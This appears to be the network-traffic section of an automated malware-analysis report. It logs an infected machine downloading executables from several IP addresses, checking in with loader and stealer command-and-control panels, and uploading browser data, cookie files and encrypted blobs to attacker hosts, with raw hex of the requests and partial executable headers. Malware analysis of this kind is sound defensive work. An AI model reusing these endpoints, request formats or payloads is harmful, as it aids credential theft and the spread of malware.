00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:23:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:23:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 34 32 41 37 30 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B42A70B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008410001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008411001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008412001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 31 44 35 31 41 39 41 37 46 32 34 32 37 37 34 30 34 34 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="hwid"311D51A9A7F2427740442------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="build"mars------GCBGCGHDGIEGCBFIEGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="message"browsers------HIIIJDAAAAAAKECBFBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 2d 2d 0d 0a Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="message"plugins------JEBKKEGDBFIIEBFHIEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="message"fplugins------HCBFIJJECFIEBGDGCFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGCHost: 185.215.113.206Content-Length: 7219Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008413001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 459Content-Type: multipart/form-data; boundary=------------------------zYIjUu01B8kvKn9oMUOXBwData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 59 49 6a 55 75 30 31 42 38 6b 76 4b 6e 39 6f 4d 55 4f 58 42 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 69 74 6f 79 61 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4a 2d ba 8f 32 99 f4 3c 9a e5 59 8d 3a 00 09 8e a6 9e 2e 67 59 45 1d b9 9e 95 f2 dd 2b 7b da d9 4b bd 11 3f 29 2f 46 7d bb f6 08 49 59 1f 89 ef 5c 7f de ea a2 6d 04 7e e6 ac 01 2a 77 0f 67 89 99 f3 b7 cc 54 2c 4f e4 a5 c1 f4 ca a0 b4 f9 a4 e7 1e 7b f1 f9 4c a6 9d 5c 0b 64 2f 76 fe ac 71 70 fb e8 d0 1f fc f0 27 cd 85 93 77 7b 21 a8 3b 53 fa c4 a8 c7 bf e7 4f f1 0c ca 79 2a 21 0e 7f 41 4f 11 e9 16 29 30 51 c8 b8 4f 46 80 d2 71 51 85 09 25 95 d3 1f cd 77 32 a4 7e 28 f6 0b 01 79 d3 65 a3 2d 59 d7 2b 7c 1c 56 25 cc c7 1c 3e 34 68 60 08 e6 1d 4a 72 94 f8 22 da f2 67 8e 5e f6 93 b7 b8 27 e1 b4 15 8f 36 64 91 4a 2e f3 e6 95 11 52 d9 88 f0 8b bb 3e ae 0c 63 eb 0c 75 be 09 0b 5b 81 87 f9 b4 3e 05 7b de cf 6a 3e 18 46 e7 20 33 1e 06 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 59 49 6a 55 75 30 31 42 38 6b 76 4b 6e 39 6f 4d 55 4f 58 42 77 2d 2d 0d 0a Data Ascii: --------------------------zYIjUu01B8kvKn9oMUOXBwContent-Disposition: form-data; name="file"; filename="Yitoyag.bin"Content-Type: application/octet-streamJ-2<Y:.gYE+{K?)/F}IY\m~wgT,O{L\d/vqp'w{!;SOy!AO)0QOFqQ%w2~(ye-Y+\|V%>4h`Jr"g^'6dJ.R>cu[>{j>F 3--------------------------zYIjUu01B8kvKn9oMUOXBw--
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 92127Content-Type: multipart/form-data; boundary=------------------------rtMTJDf6LzDUvvjjT9fnWgData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 72 74 4d 54 4a 44 66 36 4c 7a 44 55 76 76 6a 6a 54 39 66 6e 57 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 75 67 6f 76 61 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a db b1 6a 42 be 67 1d ea 98 e3 47 62 b9 a2 61 27 7c bc 81 7b 6c 2f 36 8c 3e 1a d6 0c 00 23 95 b8 6c 45 ef a6 46 c3 3c 6c f1 50 62 8e 73 31 19 44 b2 3c 1b 3c 4c 3f ae 63 80 93 a2 0b ab 0a 43 07 da 7c f3 54 40 e6 9a 81 ac 3d 8d 70 b3 fb 9a 19 63 8f cb 6b 07 49 ec ff 84 a1 18 a5 37 32 c4 bc a5 ff 10 b9 64 ac 25 15 7d 90 a3 89 3d 8b a9 fe e9 b7 64 bd c9 c8 04 92 ff a9 22 98 70 f9 02 a0 8d 8b 19 41 57 55 37 e8 78 26 6d 7e f0 1f db 54 38 89 62 b6 f5 81 f2 b6 2a 38 a1 77 c0 32 ef 02 c6 37 22 68 16 3c a6 e2 9a 80 29 61 8a de 78 92 e3 28 a4 17 a7 1f 98 8a 1e 84 1b 0c 72 78 02 c8 99 b5 a3 2c ac 30 ce 70 57 72 ce cc 86 d4 14 a5 2a 3a d1 6c d2 fb 39 2e 1f 74 91 8f a1 5d 33 f6 b6 f4 01 5e 48 79 58 5d 94 b6 15 b4 60 e2 8a e4 63 1c d0 a8 d3 48 b7 b0 90 59 de f6 ef 91 00 13 86 d6 4a b5 ed c8 6c 2b 83 5c d5 47 f4 5e d8 3c 2b f5 d9 c5 72 7d 80 a6 1b 9c 5f be 2d b8 e1 4a fd 38 9d 55 82 c6 e9 7c 19 50 b5 9d 33 a2 df 19 9a 75 97 45 b9 47 22 f5 b2 28 b2 24 27 a1 c6 f6 33 f5 0d 86 dd 2d 0f 24 04 ee fb fc f8 08 d0 7c 18 3d 57 37 3a df d3 23 82 26 3e a0 79 7f 15 c1 1c b7 c6 5e 6b a7 37 eb fb 42 20 94 bb 6e 3d c7 61 d0 e5 68 9d c6 dd 40 e7 2e df 93 c1 d9 a1 c1 d5 0a b8 06 7c a5 2d 5b d4 21 f0 19 53 ec 29 b4 bb 70 5e 3f 9d ef 61 83 2e 4e 4a 5c 35 80 12 ec 45 cf e6 be 4b d3 03 27 32 94 4a e4 40 7f 0f 2a 0a ed 9e 66 04 45 7d 18 47 3d 67 a5 33 cd 63 d9 d4 1d 32 ea 65 5c c9 d9 cf a1 63 7c de 08 0f 76 b4 05 21 73 9d 98 0a 82 17 13 9e 7c 61 ef 9d a7 eb 8b 72 d3 3c e7 16 5c 18 86 49 91 96 06 24 d0 7d 1c 96 1f c7 1b 16 8f ad 29 30 73 b6 9c 99 3d b4 44 b4 ff 18 aa 9b e5 f4 16 06 ae b5 f9 8f 0d a0 df 5c 62 ee 10 2c aa b8 e6 6a a9 53 4a 60 0d f1 94 59 10 c5 b9 9b 4b c0 df 51 4e c2 c2 39 1a d5 30 d4 a4 4c 4b ac 76 30 b7 be 91 01 a0 3c 29 82 1a c2 e6 31 92 af 46 a9 6f df 59 72 7c 05 61 61 e5 79 ef 28 6b e3 5b 69 bf 8a 68 58 67 2d 2c 36 2c 9b 84 dd 41 50 b0 a9 d9 3f 58 aa e9 ea 2e 80 ef e6 6d 2f bc 64 2b 3e 13 50 71 8d 93 21 60 cf cf fd a9 f2 10 29 b2 a3 24 ec 81 18 47 1c c6 8a 0d 84 15 d5 37 05 24 99 63 46 9f e6 9c 2d 79 0f 13 1c 94 69 b5 ff 97 8d 5d 92 94 28 2f 6a d8 3e 15 8b c8 d7 a6 09 83 a7 1a 1f 01 3f 1b 65 7f 0a 9c b5 6d 35 11 df 2b df d7 35 f9 3e 89 bd 4b c9 6f 85 0b b3 18 00 87 f7 f8 00 e2 a2 a3 50 3d 2d b7 61 2a ea 47 cd 00 d8 91 ec 36 8b 1e 84 50 ec b6 27 63 52 d0 b1 b6 a1 53 7d 7b d0 76 dd a1 2f 63 32 48 e8 45 0f 62
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 